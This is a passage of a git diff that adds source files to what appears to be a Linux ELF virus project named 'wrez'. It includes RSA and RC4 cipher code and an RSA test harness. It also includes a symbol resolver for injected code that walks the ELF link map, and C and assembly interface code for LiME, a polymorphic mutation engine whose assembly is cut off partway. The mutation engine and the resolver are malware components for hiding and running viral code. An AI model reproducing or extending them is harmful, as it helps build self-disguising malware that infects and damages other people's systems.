307 while (!*--mp && p)
308 p--;
309 if (*mp & SIGN_BIT && p < RSA_SIZE)
310 p++;
311 while (i--) {
312 while (j--) {
313 pmm(c, c, m, p);
314 if (*e & (1 << j))
315 pmm(c, a, m, p);
316 }
317 e--;
318 j = UNIT_BITS;
319 }
320 cp(a, c);
321}
322
323/*
324 * gd(N a, N b) -- a = greatest common divisor(a,b)
325 */
326
327PRIVATE void
328gd(N a, N bb)
329{
330 NN r, b;
331 cp(b, bb);
332 while (ts(b)) {
333 dm(a, b, r);
334 cp(a, b);
335 cp(b, r);
336 }
337}
338
339/*
340 * iv(N a, N b) -- multiplicative inverse, a = a^{-1} mod b
341 */
342
343PRIVATE void
344iv(N a, N b)
345{
346 NN c, d, e, f, g, y;
347 cp(c, b);
348 cl(e);
349 cl(f);
350 *f = 1;
351 while (ts(a)) {
352 cp(y, c);
353 dm(y, a, d);
354 if (f[RSA_SIZE - 1] & SIGN_BIT) {
355 ng(f);
356 mu(y, f);
357 ng(f);
358 ng(y);
359 } else
360 mu(y, f);
361 cp(g, e);
362 sb(g, y);
363 cp(c, a);
364 cp(a, d);
365 cp(e, f);
366 cp(f, g);
367 }
368 if (e[RSA_SIZE - 1] & SIGN_BIT)
369 ad(e, b);
370 cp(a, e);
371}
372
373/*
374 * nh(char *a, N b) -- convert value to a hex string (use for debugging)
375 */
376
377PRIVATE void
378nh(char *a, N b)
379{
380 char *d = "0123456789abcdef";
381 NN c;
382 ULONG i = RSA_SIZE * sizeof(UWORD) * 2; /* 2 digits/byte! */
383 cp(c, b);
384 a += RSA_SIZE * sizeof(UWORD) * 2;
385 *a = 0;
386 while (i--) {
387 *--a = d[*c & 15];
388 sr(c);
389 sr(c);
390 sr(c);
391 sr(c);
392 }
393}
394
395/*
396 * hn(N a, char *b) -- lower-case hex string to value (use for constants)
397 */
398
399PRIVATE void
400hn(N a, char *b)
401{
402 cl(a);
403 while (*b) {
404 sl(a);
405 sl(a);
406 sl(a);
407 sl(a);
408 *a += *b < 'a' ? *b - '0' : *b - ('a' - 10);
409 b++;
410 }
411}
412
413/*
414 * integer = ri() -- generate weak pseudorandom integer (range 0-65535)
415 */
416
417PRIVATE ULONG
418ri(void)
419{
420 static ULONG s = 27182;
421 s = (s * 31421 + 6927) & 0xffff;
422 return s;
423}
424
425/*
426 * prime generation and RSA stuff
427 */
428
429/*
430 * randomize(N n, ULONG bits) -- pseudorandomize n, limit to value to
431 * range 2^bits to 2^(bits+1)-1. This function eors n with weak random
432 * generator, n should be initialized with at least bits-bit strong random
433 * value before call.
434 * (XXX check portablility when converting to >16-bit UWORD machine)
435 */
436
437void
438randomize(N a, ULONG b)
439{
440 ULONG i;
441 NN c;
442 N d = c;
443 cp(c,a);
444 cl(a);
445 if(b>UNIT_BITS*RSA_SIZE-2) {
446 i = RSA_SIZE-1;
447 b = UNIT_BITS-2;
448 } else {
449 i = b / UNIT_BITS;
450 b = b % UNIT_BITS;
451 }
452 while (i--)
453 *a++ = *d++ ^ ri();
454 *a = ((*d ^ ri()) & ((1 << b) - 1)) | (1 << b);
455}
456
457/*
458 * const sp[PRIMES], PRIMES -- table of small primes, number of primes in table
459 */
460
461static unsigned char sp[PRIMES] = {
462 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53,
463 59, 61, 67, 71, 73, 79, 83, 89, 97,101,103,107,109,113,127,131,
464137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,
465227,229,233,239,241,251
466};
467
468/*
469 * divisor = sieve_prime(N n) -- try to find divisor of n by sieving
470 * with small integers returns divisor or 0 if no divisor found.
471 */
472
473ULONG
474sieve_prime(N n)
475{
476 ULONG i;
477 NN a;
478 for(i=0;i<PRIMES;i++) {
479 cp(a,n);
480 if(!di(a,sp[i]))
481 return ((ULONG)sp[i]);
482 }
483 return (0);
484}
485
486/*
487 * flag = prob_prime(N n) -- test if 2^(n-1) mod n == 1. Returns 0 if
488 * test failed, !0 if success. Large n which passes this test is a
489 * probable prime. This test does not work well with small value of n.
490 * Because this test is slow, you should first try sieving n.
491 */
492
493int
494prob_prime(N m)
495{
496 ULONG i = RSA_SIZE, j = UNIT_BITS, p = RSA_SIZE;
497 NN c, ee;
498 N mp, e = ee + RSA_SIZE;
499 cl(c);
500 *c = 1;
501 cp(ee, m);
502 sb(ee, c);
503 while (!*--e && i)
504 i--;
505 if (i) {
506 while (!(*e & (1 << j)))
507 j--;
508 *c = 2;
509 }
510 mp = m + RSA_SIZE;
511 while (!*--mp && p)
512 p--;
513 if (*mp & SIGN_BIT && p < RSA_SIZE)
514 p++;
515 while (i--) {
516 while (j--) {
517 pmm(c, c, m, p);
518 if (*e & (1 << j)) {
519 sl(c);
520 if(sb(c, m)) ad(c, m);
521 }
522 }
523 e--;
524 j = UNIT_BITS;
525 }
526 cl(ee);
527 *ee = 1;
528 return (!cu(c,ee));
529}
530
531#ifndef THINK_SILENTLY
532
533/*
534 * tw() -- indicate working when checking/generating primes
535 */
536
537#include <stdio.h> /* only for tw() */
538
539static void
540tw(void)
541{
542 static ULONG j = 0;
543 putchar("/-\\|"[j & 3]);
544 j++;
545 putchar('\b');
546 fflush(stdout);
547}
548
549#endif /* THINK_SILENTLY */
550
551/*
552 * next_prime(N a) -- find next probable prime >= a
553 */
554
555void
556next_prime(N a)
557{
558 NN b;
559 *a |= 1;
560 cl(b); *b = 2;
561 for (;;) {
562#ifndef THINK_SILENTLY
563 tw();
564#endif /* THINK_SILENTLY */
565 if (!sieve_prime(a)) {
566 if (prob_prime(a))
567 return;
568 }
569 ad(a, b);
570 }
571}
572
573/*
574 * bits rsa_gen(rsa_key *key) -- generate a RSA key from key->p and key->q
575 * Initialize key->p and key->q either with primes or strong random
576 * integers of apporopriate size. Returns number of bits in modulus key->pq
577 * or 0 if key generation failed.
578 */
579
580ULONG
581rsa_gen(rsa_key *k)
582{
583 NN p1, q1, pq1, f, g, t;
584 next_prime(k->p);
585 next_prime(k->q);
586 if (cu(k->p, k->q) < 0) {
587 cp(t, k->p);
588 cp(k->p, k->q);
589 cp(k->q, t);
590 }
591 hn(t, "1");
592 cp(p1, k->p);
593 sb(p1, t);
594 cp(q1, k->q);
595 sb(q1, t);
596 cp(g, p1);
597 gd(g, q1);
598 hn(t, "ff");
599 if (cu(t, g) < 0)
600 return 0;
601 cp(k->pq, k->p);
602 mu(k->pq, k->q);
603 cp(pq1, p1);
604 mu(pq1, q1);
605 cp(f, pq1);
606 dm(f, g, t);
607 hn(k->e, "3");
608 hn(k->qp, "1");
609 cp(t, pq1);
610 gd(t, k->e);
611 if (cu(t, k->qp)) {
612 hn(k->e, "10001");
613 cp(t, pq1);
614 gd(t, k->e);
615 if (cu(t, k->qp))
616 return 0;
617 }
618 cp(k->d, k->e);
619 iv(k->d, f);
620 cp(t, k->d);
621 dm(t, p1, k->dp);
622 cp(t, k->d);
623 dm(t, q1, k->dq);
624 cp(k->qp, k->q);
625 iv(k->qp, k->p);
626 cp(t, k->pq);
627 for(k->b = 0; ts(t); sr(t), k->b++)
628 ; /* VOID */
629 return (k->b);
630}
631
632/*
633 * rsa_dec(N m, rsa_key *key) -- low level rsa decryption. Result undefined
634 * (ie. wrong) if key is not private rsa key.
635 */
636
637void
638rsa_dec(N m, rsa_key * k)
639{
640 NN mp, mq, t;
641 cp(t, m);
642 dm(t, k->p, mp);
643 cp(t, m);
644 dm(t, k->q,
645 mq);
646 em(mp, k->dp, k->p);
647 em(mq, k->dq, k->q);
648 if (sb(mp, mq))
649 ad(mp, k->p);
650 mm(mp, k->qp,
651 k->p);
652 mu(mp, k->q);
653 ad(mp, mq);
654 cp(m, mp);
655}
656
657/*
658 * rsa_enc(N m, rsa_key *k) -- low level rsa encryption
659 */
660
661void
662rsa_enc(N m, rsa_key * k)
663{
664 em(m, k->e, k->pq);
665}
666
667/*
668 * len = n_to_b(unsigned char *buf, N a) -- convert a to bytes, most
669 * significant byte first. Returns number of bytes written to buf. buf
670 * should be large enough to hold sizeof(NN) bytes. (Note that number
671 * is handled as unsigned, negative value converts to sizeof(NN) bytes.)
672 * (XXX check portablility when converting to not-16/32 bit machine)
673 */
674
675ULONG
676n_to_b(unsigned char *b, N a)
677{
678 ULONG i = RSA_SIZE - 1, l = 1;
679 a += RSA_SIZE;
680 while (!*--a && i)
681 i--;
682 if (*a > 255) {
683 *b++ = *a >> 8;
684 l++;
685 }
686 *b++ = *a;
687 while (i--) {
688 *b++ = *--a >> 8;
689 *b++ = *a;
690 l += 2;
691 }
692 return (l);
693}
694
695/*
696 * b_to_n(N a, unsigned char *buf,ULONG len) -- convert len bytes from
697 * buf to value a. Conversion is unsigned, most significant byte first.
698 * (XXX check portablility when converting to not-16/32 bit machine)
699 */
700
701void
702b_to_n(N a, unsigned char *b, ULONG l)
703{
704 ULONG i;
705 if (l > RSA_SIZE * sizeof(UWORD))
706 l = RSA_SIZE * sizeof(UWORD);
707 b += l;
708 cl(a);
709 i = l / 2;
710 while (i--) {
711 *a = *--b;
712 *a++ |= (ULONG) *--b << 8;
713 }
714 if (l & 1)
715 *a = *--b;
716}
717
diff --git a/other/wrez/isolation/cipher-mrsa.h b/other/wrez/isolation/cipher-mrsa.h
new file mode 100644
index 0000000..85631a8
--- /dev/null
+++ b/other/wrez/isolation/cipher-mrsa.h
@@ -0,0 +1,79 @@
1/*
2 * mrsa.h -- Multiprecision math and RSA public key crypt library
3 * 1993 Risto Paasivirta, paasivir@jyu.fi
4 * Public Domain, no warranty. Use as you wish.
5 */
6
7#ifndef CIPHER_MRSA_H
8#define CIPHER_MRSA_H
9
10#ifndef RSA_SIZE
11/* #define RSA_SIZE 32 for max 512 (actually 511) bit modulus */
12#define RSA_SIZE 16
13#endif
14
15/*
16 * unsigned 16 and 32 -bit types (other sizes may need some porting)
17 */
18
19#ifndef UWORD
20typedef unsigned short UWORD;
21#endif
22#ifndef ULONG
23typedef unsigned long ULONG;
24#endif
25
26typedef UWORD *N, NN[RSA_SIZE];
27
28typedef struct rsa_key {
29 ULONG b;
30 NN pq,e,d,p,q,dp,dq,qp;
31} rsa_key;
32
33#if !defined(RSA_ONLY) || defined(MRSA_C)
34
35#define UNIT_BITS 16 /* unit bits */
36#define SIGN_BIT (1<<15) /* top bit of unit */
37#define PRIMES 54 /* number of primes in prime table */
38
39#ifdef RSA_ONLY /* define RSA_ONLY if math stuff not needed */
40#define PRIVATE static
41#else
42#define PRIVATE
43#endif
44
45
46int ts(N a); /* test signed, returns -1, 0 or 1 */
47ULONG ng(N a); /* negate, return carry*/
48void cl(N a); /* clear */
49void cp(N a,N b); /* copy, a = b */
50int cu(N a,N b); /* compare unsigned, returns, -1 0 or 1 */
51ULONG ad(N a,N b); /* add, a += b */
52ULONG sb(N a,N b); /* substract, a -= b */
53ULONG sr(N a); /* shift right, a >>= 1, return carry */
54ULONG sl(N a); /* shift left, a <<= 1, return carry */
55void dm(N a,N b,N c); /* div-mod unsigned, a /= b, c = a % b */
56void mu(N a,N b); /* multiply unsigned, a *= b */
57void mm(N a,N b,N m); /* modular multiply, a = a * b mod m */
58void em(N a,N e,N m); /* modular exponentiation, a = a^e mod m */
59void gd(N a,N b); /* greatst common divisor, a = gcd(a,b) */
60void iv(N a,N b); /* multiplicative inverse, a = a^{-1} mod p */
61void nh(char *a,N b); /* convert number to hex string */
62void hn(N a,char *b); /* convert lowercase hex string to number */
63ULONG ri(); /* weak pseudorandom integer */
64
65#endif /* RSA_C */
66
67void randomize(N a, ULONG bits);
68ULONG sieve_prime(N);
69int prob_prime(N);
70void next_prime(N);
71ULONG rsa_gen(rsa_key *);
72void rsa_enc(N,rsa_key *);
73void rsa_dec(N,rsa_key *);
74ULONG n_to_b(unsigned char *,N);
75void b_to_n(N,unsigned char *,ULONG);
76
77#endif
78
79
diff --git a/other/wrez/isolation/cipher-rc4.c b/other/wrez/isolation/cipher-rc4.c
new file mode 100644
index 0000000..1196cb7
--- /dev/null
+++ b/other/wrez/isolation/cipher-rc4.c
@@ -0,0 +1,81 @@
1/* rc4 */
2
3#include "cipher-rc4.h"
4
5
6static void swap_byte (unsigned char *a, unsigned char *b);
7
8void
9rc4_prepare_key (unsigned char *key_data_ptr, int key_data_len, rc4_key *key)
10{
11 unsigned char i1, i2;
12 unsigned char * s;
13 short c;
14
15 s = &key->state[0];
16 for (c = 0; c < 256; c++)
17 s[c] = c;
18
19 key->x = key->y = 0;
20 i1 = i2 = 0;
21
22 for (c = 0; c < 256; c++) {
23 i2 = (key_data_ptr[i1] + s[c] + i2) % 256;
24 swap_byte (&s[c], &s[i2]);
25 i1 = (i1 + 1) % key_data_len;
26 }
27}
28
29
30void
31rc4_encipher (unsigned char *buffer, unsigned long int buffer_len,
32 unsigned char *key, int key_len)
33{
34 rc4_key key_r;
35
36 if (key == NULL || buffer == NULL || buffer_len == 0)
37 return;
38
39 rc4_prepare_key (key, key_len, &key_r);
40 rc4_cipher (buffer, buffer_len, &key_r);
41
42 return;
43}
44
45
46void
47rc4_cipher (unsigned char *buffer_ptr, int buffer_len, rc4_key *key)
48{
49 unsigned char x;
50 unsigned char y;
51 unsigned char *state;
52 unsigned char xi;
53 unsigned int counter;
54
55 x = key->x;
56 y = key->y;
57
58 state = &key->state[0];
59 for(counter = 0; counter < buffer_len; counter ++) {
60 x = (x + 1) % 256;
61 y = (state[x] + y) % 256;
62 swap_byte(&state[x], &state[y]);
63 xi = (state[x] + state[y]) % 256;
64 buffer_ptr[counter] ^= state[xi];
65 }
66
67 key->x = x;
68 key->y = y;
69}
70
71
72static void
73swap_byte (unsigned char *a, unsigned char *b)
74{
75 unsigned char sb;
76
77 sb = *a;
78 *a = *b;
79 *b = sb;
80}
81
diff --git a/other/wrez/isolation/cipher-rc4.h b/other/wrez/isolation/cipher-rc4.h
new file mode 100644
index 0000000..f815d7f
--- /dev/null
+++ b/other/wrez/isolation/cipher-rc4.h
@@ -0,0 +1,21 @@
1
2#ifndef CIPHER_RC4_H
3#define CIPHER_RC4_H
4
5
6typedef struct rc4_key {
7 unsigned char state[256];
8 unsigned char x;
9 unsigned char y;
10} rc4_key;
11
12
13void rc4_prepare_key (unsigned char *key_data_ptr, int key_data_len, rc4_key *key);
14void rc4_encipher (unsigned char *buffer,
15 unsigned long int buffer_len, unsigned char *key, int key_len);
16#define rc4_decipher rc4_encipher
17void rc4_cipher (unsigned char *buffer_ptr, int buffer_len, rc4_key *key);
18
19
20#endif
21
diff --git a/other/wrez/isolation/gmon.out b/other/wrez/isolation/gmon.out
new file mode 100644
index 0000000..49edff1
--- /dev/null
+++ b/other/wrez/isolation/gmon.out
Binary files differ
diff --git a/other/wrez/isolation/resolv-grugq-link-technique.c b/other/wrez/isolation/resolv-grugq-link-technique.c
new file mode 100644
index 0000000..a7cfb1a
--- /dev/null
+++ b/other/wrez/isolation/resolv-grugq-link-technique.c
@@ -0,0 +1,209 @@
1#include <elf.h>
2
3#define NULL ((void *)0)
4
5
6struct link_map {
7 Elf32_Addr l_addr;
8 char * l_name;
9 Elf32_Dyn * l_ld; /* .dynamic ptr */
10 struct link_map * l_next,
11 * l_prev;
12};
13
14struct resolv {
15 Elf32_Word * hash;
16 Elf32_Word * chain;
17 Elf32_Sym * symtab;
18 char * strtab;
19 int num;
20};
21
22
23static int
24strmatch(char *s1, char *s2)
25{
26 while (*s1++ == *s2++)
27 if (*s1 == 0)
28 return (1);
29 return (0);
30}
31
32/*
33inline int
34strlen(char *str)
35{
36 al = 0
37 ecx = ffffffff
38 repne scasb
39 not ecx
40}
41*/
42
43static inline struct resolv *
44build_resolv(struct link_map *l, struct resolv *r)
45{
46 Elf32_Dyn * d;
47
48
49 for (d = l->l_ld; d->d_tag != DT_NULL; d++) {
50 switch (d->d_tag) {
51 case DT_HASH:
52 {
53 Elf32_Word * h;
54
55
56 h = (Elf32_Word *)
57 ((char *)d->d_un.d_ptr+l->l_addr);
58
59 r->num = *h++; // num buckets
60 h++; // num chains
61 r->hash = h;
62 r->chain = h + r->num;
63 }
64 break;
65 case DT_STRTAB:
66 r->strtab = (char *)d->d_un.d_ptr;
67 break;
68 case DT_SYMTAB:
69 r->symtab = (Elf32_Sym *)d->d_un.d_ptr;
70 break;
71 default:
72 break;
73 }
74 }
75 return (r);
76}
77
78static void *
79resolve(char *sym_name, long hn, struct link_map *l)
80{
81 Elf32_Sym * sym;
82 struct resolv * r;
83 long ndx;
84
85
86 r = build_resolv(l, alloca(sizeof(*r)));
87
88 for (ndx = r->hash[ hn % r->num ]; ndx; ndx = r->chain[ ndx ]) {
89 sym = &r->symtab[ ndx ];
90
91 if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC)
92 continue;
93
94 if (strmatch(sym_name, r->strtab + sym->st_name))
95 return (((char *)l->l_addr) + sym->st_value);
96 }
97
98 return NULL;
99}
100
101static struct link_map *
102locate_link_map(void *my_base)
103{
104 Elf32_Ehdr * e = (Elf32_Ehdr *)my_base;
105 Elf32_Phdr * p;
106 Elf32_Dyn * d;
107 Elf32_Word * got;
108
109
110 p = (Elf32_Phdr *)((char *)e + e->e_phoff);
111
112 while (p++<(Elf32_Phdr *)((char*)p + (e->e_phnum * sizeof(Elf32_Phdr))))
113 if (p->p_type == PT_DYNAMIC)
114 break;
115
116 // error check
117 /*
118 if (p->p_type != PT_DYNAMIC)
119 return (NULL);
120 */
121
122 for (d = (Elf32_Dyn *)p->p_vaddr; d->d_tag != DT_NULL; d++)
123 if (d->d_tag == DT_PLTGOT) {
124 got = (Elf32_Word *)d->d_un.d_ptr;
125 break;
126 }
127 // error check
128 // if (got == NULL)
129 // return (NULL);
130
131 // different on other platforms
132#define GOT_LM_PTR 1
133 return ((struct link_map *)got[GOT_LM_PTR]);
134}
135
136void *
137get_addr(void *my_base, char *sym_name, long hn)
138{
139 struct link_map * l;
140 void * a;
141
142
143 l = locate_link_map(my_base);
144 // scan link maps...
145
146 // don't know where it terminates... NULL, I hope. :-)
147 while (l->l_prev)
148 l = l->l_prev;
149
150 // scan link maps for the symbol. slow, but...
151 for (; l->l_next; l = l->l_next)
152 if ((a = resolve(sym_name, hn, l)))
153 return (a);
154
155 return (NULL);
156}
157
158unsigned long
159elf_hash(const char *name)
160{
161 unsigned long h = 0, g;
162
163 while (*name) {
164 h = (h << 4) + *name++;
165
166 if ((g = h & 0xf0000000))
167 h ^= g >> 24;
168 h &= ~g;
169 }
170 return (h);
171}
172
173/*
174void *
175locate_my_base()
176{
177 find an address within the .text section, or at least within the
178 .data. Then search backwards page at a time:
179
180 for (addr = ALIGN(cur_addr, 4096); ; addr -= 4096)
181 if (memcmp(addr, ELFMAG, SELFMAG))
182 return (addr);
183
184 return (NULL);
185
186 That failing, you can hard code it (but doing it dynamicly
187 means you more cool. :)
188
189}
190*/
191
192#if 1
193int
194main (void)
195{
196 unsigned long hn;
197 void * my_addr = (void *) 0x08048000;
198 char * sym_name = "printf";
199 int (*printf)(const char *, ...);
200
201
202 hn = elf_hash(sym_name);
203 printf = get_addr(my_addr, sym_name, hn);
204
205 (*printf)("Hello World\n");
206
207 return (0);
208}
209#endif
diff --git a/other/wrez/isolation/rsatest.c b/other/wrez/isolation/rsatest.c
new file mode 100644
index 0000000..96c4db5
--- /dev/null
+++ b/other/wrez/isolation/rsatest.c
@@ -0,0 +1,101 @@
1/*
2 * rsatest.c
3 */
4
5#include <stdio.h>
6#include <stdlib.h>
7#include "cipher-mrsa.h"
8
9void
10main(int i, char **v) {
11 NN m,c,d;
12 rsa_key key;
13 rsa_key key_pub;
14 rsa_key key_priv;
15 char s[RSA_SIZE*4+2];
16
17 if(i==4) {
18 hn(c,v[1]);
19 hn(d,v[2]);
20 hn(m,v[3]);
21 em(c,d,m);
22 nh(s,c); puts(s);
23 exit(EXIT_SUCCESS);
24 }
25
26 if(i!=3) {
27 puts("Usage: mtest [hex_pseed] [hex_qseed]");
28 exit(EXIT_FAILURE);
29 }
30
31 hn(key.p,v[1]);
32 hn(key.q,v[2]);
33
34 puts("Generating key...");
35 if(!rsa_gen(&key)) {
36 puts("Failed, try other seed values.");
37 exit(EXIT_FAILURE);
38 }
39 puts("Done, key components: pq,e,d,p,q,dp,dq,qp");
40 puts(" public components: pq,e");
41 puts(" private components: d,p,q,dp,dq,qp");
42 printf("bits = %u\n",key.b);
43
44 nh(s,key.pq); puts(s);
45 nh(s,key.e); puts(s);
46 nh(s,key.d); puts(s);
47 nh(s,key.p); puts(s);
48 nh(s,key.q); puts(s);
49 nh(s,key.dp); puts(s);
50 nh(s,key.dq); puts(s);
51 nh(s,key.qp); puts(s);
52 puts("testing, msg,cip,dec1,dec2");
53 cl(m);
54 randomize(m, key.b-2);
55 nh(s,m); puts(s);
56
57 memset (&key_pub, 0x00, sizeof (key_pub));
58 cp (key_pub.pq, key.pq);
59 cp (key_pub.e, key.e);
60#if 0
61 memcpy (&key_pub, &key, sizeof (key_pub));
62#if 0
63 cl(key_pub.pq);
64 cl(key_pub.e);
65#endif
66 cl(key_pub.p);
67 cl(key_pub.q);
68 cl(key_pub.d);
69 cl(key_pub.dp);
70 cl(key_pub.dq);
71 cl(key_pub.qp);
72#endif
73 cp(c,m); rsa_enc(c,&key_pub);
74
75 nh(s,c); puts(s);
76#if 0
77 cp(d,c); em(d,key.d,key.pq); /* slow way */
78 nh(s,d); puts(s);
79#endif
80#if 0
81 cl(key.p);
82 cl(key.q);
83 cl(key.dp);
84 cl(key.dq);
85 cl(key.qp);
86
87 cl(key.pq);
88 cl(key.e);
89#endif
90 memset (&key_priv, 0x00, sizeof (key_priv));
91 cp (key_priv.p, key.p);
92 cp (key_priv.q, key.q);
93 cp (key_priv.dp, key.dp);
94 cp (key_priv.dq, key.dq);
95 cp (key_priv.qp, key.qp);
96
97 cp(d,c); rsa_dec(d,&key_priv); /* faster way */
98 nh(s,d); puts(s);
99 exit(EXIT_SUCCESS);
100}
101
diff --git a/other/wrez/lime-interface-test.c b/other/wrez/lime-interface-test.c
new file mode 100644
index 0000000..e9ad669
--- /dev/null
+++ b/other/wrez/lime-interface-test.c
@@ -0,0 +1,69 @@
1/* small test program for the lime c interface
2 */
3
4#include "int80.h"
5#include "lime-interface.h"
6
7
8static unsigned long helloworld (void);
9
10
11int
12main (int argc, char *argv[])
13{
14 void (* code_f)(void);
15 unsigned int code_len;
16 unsigned char code[4096 + 128];
17 unsigned long addr;
18 int n;
19
20
21 for (n = 0 ; n < sizeof (code) ; ++n)
22 code[n] = 0x00;
23
24 write (2, "plain: ", 6);
25 addr = helloworld ();
26
27 code_len = lime_generate ((void *) addr,
28 50,
29 &code[0], (unsigned long int) &code[0]);
30
31 write (2, "limed\n", 6);
32 code_f = (void (*)(void)) &code[0];
33 code_f ();
34
35 return (0);
36}
37
38
39static unsigned long
40helloworld (void)
41{
42 unsigned long address;
43
44 __asm__ __volatile__ ("
45 .global tlab0
46 .global tlab3
47 call tlab4
48 tlab4: popl %%eax
49 addl $(tlab0 - tlab4), %%eax
50 jmp tlab3
51
52 tlab0: pushf
53 pusha
54 movl $0x4, %%eax
55 movl $0x2, %%ebx
56 movl $12, %%edx
57 call tlab1
58 .asciz \"hello world\\n\"
59 tlab1: popl %%ecx
60 int $0x80
61 tlab2: popa
62 popf
63 ret
64 tlab3: nop"
65 : "=a" (address) : : "%ebx", "%ecx", "%edx");
66
67 return (address);
68}
69
diff --git a/other/wrez/lime-interface-test.lds b/other/wrez/lime-interface-test.lds
new file mode 100644
index 0000000..135a8d8
--- /dev/null
+++ b/other/wrez/lime-interface-test.lds
@@ -0,0 +1,32 @@
1
2OUTPUT_FORMAT("elf32-i386", "elf32-i386", "elf32-i386")
3OUTPUT_ARCH(i386)
4
5ENTRY(main)
6
7PHDRS
8{
9 text PT_LOAD FILEHDR PHDRS FLAGS (0x0007); /* PF_R | PF_W | PF_X */
10 data PT_LOAD FLAGS (0x0006); /* PF_R | PF_W */
11}
12
13SECTIONS
14{
15 . = 0x06660000 ;
16 .text : {
17 lime-interface-test.o(.text)
18 lime-interface.o(.text)
19 lime.o(.text)
20 *(.text)
21 *(.rodata)
22 *(.data)
23 } : text
24
25 /* save calls to objcopy, huh */
26 /DISCARD/ : {
27 *(.bss)
28 *(.eh_frame)
29 *(.comment)
30 *(.note)
31 }
32}
diff --git a/other/wrez/lime-interface.c b/other/wrez/lime-interface.c
new file mode 100644
index 0000000..c40b416
--- /dev/null
+++ b/other/wrez/lime-interface.c
@@ -0,0 +1,43 @@
1/* interface code for the LiME polymorphism engine
2 */
3
4#include "lime-interface.h"
5
6
7/* lime_generate
8 *
9 * generate a new polymorph code from source data at 'source', with a length
10 * of 'source_len' bytes. the decrypter and encrypted data will be put at
11 * 'dest', without any length check (expect no more than 4096 bytes for the
12 * decrypter, so 4096 + source_len will do). 'delta' is the virtual address
13 * the decryptor will be placed, its the virutal address of dest[0].
14 * `rnd' is a random seed.
15 *
16 * return the number of bytes put at 'dest'
17 */
18
19inline unsigned int
20lime_generate (unsigned char *source, unsigned int source_len,
21 unsigned char *dest, unsigned long int delta, unsigned int rnd)
22{
23 unsigned int rlen;
24
25 /* FIXME: eax is not random parameter anymore, but does not hurt */
26 __asm__ __volatile__ ("
27 pushl %%ebp
28 movl 0x14(%%ebp), %%ebp
29 pushf
30 pusha
31 call lime
32 movl %%edx, 0x14(%%esp)
33 popa
34 popf
35 popl %%ebp\n\t"
36 : "=d" (rlen)
37 : "a" (rnd), "b" ((unsigned int) dest),
38 "c" ((unsigned int) source), "d" (source_len));
39
40 return (rlen);
41}
42
43
diff --git a/other/wrez/lime-interface.h b/other/wrez/lime-interface.h
new file mode 100644
index 0000000..e6f9874
--- /dev/null
+++ b/other/wrez/lime-interface.h
@@ -0,0 +1,11 @@
1
2#ifndef LIME_INTERFACE_H
3#define LIME_INTERFACE_H
4
5inline unsigned int
6lime_generate (unsigned char *source, unsigned int source_len,
7 unsigned char *dest, unsigned long int delta, unsigned int rnd);
8
9#endif
10
11
diff --git a/other/wrez/lime-interface.o b/other/wrez/lime-interface.o
new file mode 100644
index 0000000..e446ba0
--- /dev/null
+++ b/other/wrez/lime-interface.o
Binary files differ
diff --git a/other/wrez/lime.asm b/other/wrez/lime.asm
new file mode 100644
index 0000000..a36f3a5
--- /dev/null
+++ b/other/wrez/lime.asm
@@ -0,0 +1,1338 @@
1
2; ***************************************************************
3; To compile [LiME] under Linux with NASM... Follow as:
4; nasm -f elf lime-gen.s
5; ld -e main lime-gen.o -o lime-gen
6; ***************************************************************
7
8global lime
9
10; ***************************************************************
11; Linux Mutation Engine (source code)
12; [LiME] Version: 0.2.0 Last update: 2001/02/28
13; Written by zhugejin at Taipei, Taiwan. Date: 2000/10/10
14; E-mail: zhugejin.bbs@bbs.csie.nctu.edu.tw
15; WWW: http://cvex.fsn.net
16; ***************************************************************
17
18; Input:
19; EBX = pointer to memory buffer where LiME will store decryptor
20; and encrypted data
21; ECX = pointer to the data, u want to encrypt
22; EDX = size of data, u want to encrypt
23; EBP = delta offset
24;
25; Output:
26; ECX = address of decryptor+encrypted data
27; EDX = size of decryptor+encrypted data
28
29LIME_BEGIN:
30 dd LIME_SIZE ; size of [LiME]
31
32lime_pre_opcod_tab db 10000000b ; add
33 db 10101000b ; sub
34 db 10110000b ; xor
35 db 10000000b ; add
36
37lime_enc_opcod_tab db 80h,10000000b, 2ah,11000001b ; add/sub
38 db 80h,10101000b, 02h,11000001b ; sub/add
39 db 80h,10110000b, 32h,11000001b ; xor/xor
40 db 82h,10000000b, 2ah,11000001b ; add/sub
41 db 82h,10101000b, 02h,11000001b ; sub/add
42 db 82h,10110000b, 32h,11000001b ; xor/xor
43 db 0c0h,10000000b,0d2h,11001000b ; rol/ror
44 db 0c0h,10001000b,0d2h,11000000b ; ror/rol
45
46 db 0d0h,10000000b,0d0h,11001000b ; rol/ror
47 db 0d0h,10001000b,0d0h,11000000b ; ror/rol
48 db 0f6h,10010000b,0f6h,11010000b ; not/not
49 db 0f6h,10011000b,0f6h,11011000b ; neg/neg
50 db 0feh,10000000b,0feh,11001000b ; inc/dec
51 db 0feh,10001000b,0feh,11000000b ; dec/inc
52
53 db 00h,10000000b, 2ah,11000001b ; add/sub
54 db 28h,10000000b, 02h,11000001b ; sub/add
55 db 30h,10000000b, 32h,11000001b ; xor/xor
56 ;--------------------------------------------
57 db 10h,10000000b, 1ah,11000001b ; adc/sbb
58 db 18h,10000000b, 12h,11000001b ; sbb/adc
59
60 db 80h,10010000b, 1ah,11000001b ; adc/sbb
61 db 80h,10011000b, 12h,11000001b ; sbb/adc
62 db 82h,10010000b, 1ah,11000001b ; adc/sbb
63 db 82h,10011000b, 12h,11000001b ; sbb/adc
64
65lime_zero_reg_opcod_tab db 29h,00011000b ; sub reg,reg
66 db 2bh,00011000b ; sub reg,reg
67 db 31h,00011000b ; xor reg,reg
68 db 33h,00011000b ; xor reg,reg
69lime_init_reg_opcod_tab db 81h,11000000b ; add reg,xxxxxxxx
70 db 81h,11001000b ; or reg,xxxxxxxx
71 db 81h,11110000b ; xor reg,xxxxxxxx
72 db 81h,11000000b ; add reg,xxxxxxxx
73
74;-----------------------------------------------
75;LIME_make_tsh_cod dd lime_make_tsh_cod
76;LIME_make_noflags_cod dd lime_make_noflags_cod
77;LIME_set_disp_reg dd lime_set_disp_reg
78;LIME_save_edi dd lime_save_edi
79@ equ $
80;LIME_rnd dd lime_rnd
81;LIME_rnd_reg dd lime_rnd_reg
82;LIME_rnd_al dd lime_rnd_al
83;LIME_rnd_eax_and_al dd lime_rnd_eax_and_al
84;LIME_rnd_esi dd lime_rnd_esi
85;-----------------------------------------------
86
87lime_add4_reg_opcod_tab db 11000000b,11000000b,04h,-4h ; add/add
88 db 11000000b,11101000b,-4h,04h ; add/sub
